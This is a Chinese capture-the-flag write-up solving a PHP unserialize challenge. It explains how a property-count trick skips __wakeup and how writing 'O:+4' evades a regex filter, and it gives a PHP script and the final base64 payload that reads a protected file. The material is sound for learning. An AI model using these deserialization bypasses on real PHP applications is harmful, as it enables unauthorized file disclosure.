知識點:
1、__construct():當對象創建(new)時會自動調用。但在 unserialize() 時是不會自動調用的。(構造函數)
2、__destruct():當對象被銷毀時會自動調用。(析構函數)
3、__wakeup():unserialize() 時會自動調用
。
首先拿到題目看到給出一段PHP源碼
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
0x01源碼分析
首先它定義了一個Demo類,然后發現初始化改變file值,而且,源碼中有這么一段注釋:
//the secret is in the fl4g.php
告訴我們,這個flag在fl4g.php這個頁面中,在
function __destruct() {
echo @highlight_file($this->file, true);
}
中,如果Demo類被銷毀,那么就會高亮顯示file所指向的文件的內容。
那么Demo中還有一個函數就是_wakeup(),這個函數作用就是反序列化時,會自動執行,所以,要想反序列化,那么必須要繞過這個函數。
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
這里進行了變量的傳入,使用的方法是GET傳參,源碼分析:
1.首先base64加密
2.使用了preg_match()匹配函數,如果匹配上了,就結束,否則
@unserialize($var);
所以這里要想辦法繞過這個匹配函數
0x02解題過程
通過上述源碼分析,我們要干下面幾件事
1.preg_match()匹配繞過
2.unserialize() 反序列化執行_wakeup()的繞過
preg_match('/[oc]:\d+:/i', $var)
preg_match()匹配的為 o或c : 任意長度數字(至少一個) /i表示匹配時不區分大小寫
接下來我們將所給的類反序列化:
"O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
為了繞過匹配,將4改為+4即可
當序列化字符串中表示對象屬性個數的值大於真實的屬性個數時會跳過__wakeup的執行。為了繞過__wakeup(),我們將1改為任意大於1的都行
"O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
"O:+4:"Demo":3:{s:10:"Demofile";s:8:"fl4g.php";}"
反序列化代碼:
<?php
class Demo {
private $file = 'fl4g.php';
}
$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);//繞過preg_match()
$x=str_replace(':1:', ':3:',$x);//繞過__wakeup()
echo base64_encode($x);
?>
結果:
TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
傳參給var即可得到flag